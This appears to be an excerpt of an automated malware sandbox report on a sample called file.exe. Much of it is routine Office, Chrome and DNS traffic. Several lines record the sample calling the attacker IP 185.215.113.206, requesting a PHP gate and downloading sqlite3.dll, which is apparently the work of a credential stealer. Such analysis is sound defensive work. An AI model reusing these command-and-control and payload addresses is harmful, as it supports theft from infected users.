Source: global traffic HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: chrome.exe, 00000002.00000003.2170355445.000074A000F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170385900.000074A00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170248258.000074A00038C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2170355445.000074A000F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170385900.000074A00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170248258.000074A00038C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: apis.google.com
Source: global traffic DNS traffic detected: DNS query: play.google.com
Source: global traffic DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: unknown HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2621902463.00000000017AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2621902463.0000000001806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/#H
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2620837940.0000000000C74000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpUser
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpinit.exe
Source: file.exe, 00000000.00000002.2620837940.0000000000C46000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpplication
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprI2e
Source: file.exe, 00000000.00000002.2621902463.0000000001806000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000C74000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2621902463.0000000001806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllR
Source: file.exe, 00000000.00000002.2621902463.0000000001806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllX
Source: file.exe, 00000000.00000002.2621902463.0000000001806000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllx
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/cWqe
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.2066c4adf523b719729.phpUser
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2620837940.0000000000DCE000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://185.215.113.206s.exe
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836
